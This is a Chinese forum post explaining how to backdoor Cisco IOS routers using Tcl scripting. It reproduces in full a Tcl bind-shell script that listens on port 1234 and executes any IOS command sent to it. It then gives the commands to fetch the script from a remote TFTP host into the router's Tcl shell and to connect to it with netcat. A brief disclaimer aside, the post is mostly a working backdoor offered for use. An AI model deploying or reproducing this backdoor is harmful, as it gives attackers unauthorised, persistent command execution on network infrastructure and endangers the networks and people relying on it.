阅读:2798回复:0
给CISCO设备中后门的方法--TCL 以及路由安全
之前在 zone 里边有人讨论过CISCO 的后门问题我就说了个利用TCL cisco 的一个脚本处理技术详见http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html现在给整理出来。郑重声明本人仅讨论方法与该技术如利用此技术给他人造成的经济损失与本人无关。首先给出脚本此脚本非本人所写国外已经有大牛写出来了# TclShell.tcl v0.1 by Andy Davis, IRM 2007## IRM accepts no responsibility for the misuse of this code# It is provided for demonstration purposes onlyproc callback {sock addr port} {fconfigure $sock -translation lf -buffering lineputs $sock " "puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"puts $sock " "set response [exec "sh ver | inc IOS"]puts $sock $responseset response [exec "sh priv"]puts $sock $responseputs $sock " "puts $sock "Enter IOS command:"fileevent $sock readable [list echo $sock]}proc echo {sock} {global varif {[eof $sock] || [catch {gets $sock line}]} {} else {set response [exec "$line"]puts $sock $response}}set port 1234set sh [socket -server callback $port]vwait varclose $sh在CISCO设备上运行如下命令需要有tftpRouter#tclshRouter(tcl)#source tftp://1.1.1.2/backdoor.tcl设备会变成假死状态因此不建议在console下运行基本上也不可能,在其他机器上nc 路由器IP 1234附截图一张
图片:2013101807230255315.jpg |
|